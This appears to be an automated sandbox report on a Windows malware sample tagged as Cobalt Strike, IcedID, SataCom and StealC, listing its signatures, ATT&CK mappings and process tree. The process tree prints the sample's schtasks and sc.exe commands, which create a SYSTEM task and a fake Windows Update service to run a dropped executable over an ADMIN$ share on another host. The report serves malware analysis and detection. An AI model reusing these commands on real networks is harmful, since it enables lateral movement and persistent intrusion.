Analysis
- max time kernel
149s - max time network
129s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
08/05/2026, 23:25
General
- Target 2026-05-08_8ac35c025f836efc3b809eebe9213ad5_cobalt-strike_icedid_satacom_stealc.exe
- Size 702KB
- Sample260508-3emqdsfv8x
- SHA256 de75b08c1b5633a47e6989dc83c9108cf1f3ddf4cc3b63832b6f84efe01d4ee6
Malware Config
Signatures
- Detects executables (downlaoders) containing URLs to raw contents of a paste 33 IoCs
- Creates new service(s) 2 TTPs
- Executes dropped EXE 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious use of WriteProcessMemory 12 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-08_8ac35c025f836efc3b809eebe9213ad5_cobalt-strike_icedid_satacom_stealc.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-08_8ac35c025f836efc3b809eebe9213ad5_cobalt-strike_icedid_satacom_stealc.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\dllhost.exe"C:\Windows\System32\dllhost.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exeschtasks /create /s 10.127.0.11 /tn "WindowsUpdate" /tr "\\10.127.0.11\ADMIN$\Temp\RuntimeBroker.exe --daemon" /sc once /st 00:00 /ru SYSTEM /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\sc.exesc \\10.127.0.11 create WinUpdateSvc binPath= "\\10.127.0.11\ADMIN$\Temp\RuntimeBroker.exe --daemon" start= auto3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc \\10.127.0.11 start WinUpdateSvc3⤵
- Launches sc.exe
-
-
-
\??\UNC\10.127.0.11\ADMIN$\Temp\RuntimeBroker.exe\\10.127.0.11\ADMIN$\Temp\RuntimeBroker.exe --daemon1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Execution
Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
p2pnode_log.txt
phantom_log.txt
phantom_log.txt
memory/3904-36-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-147-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-46-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-45-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-43-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-44-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-42-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-40-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-41-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-38-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-37-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-34-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-35-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-39-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-21-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-145-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-149-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-47-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-146-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-142-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-150-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-151-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-152-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-153-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-154-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-155-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-156-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-157-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-158-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-30-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-161-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-162-0x00007FF662870000-0x00007FF6628EF000-memory.dmp
memory/3904-163-0x00007FF662870000-0x00007FF6628EF000-memory.dmp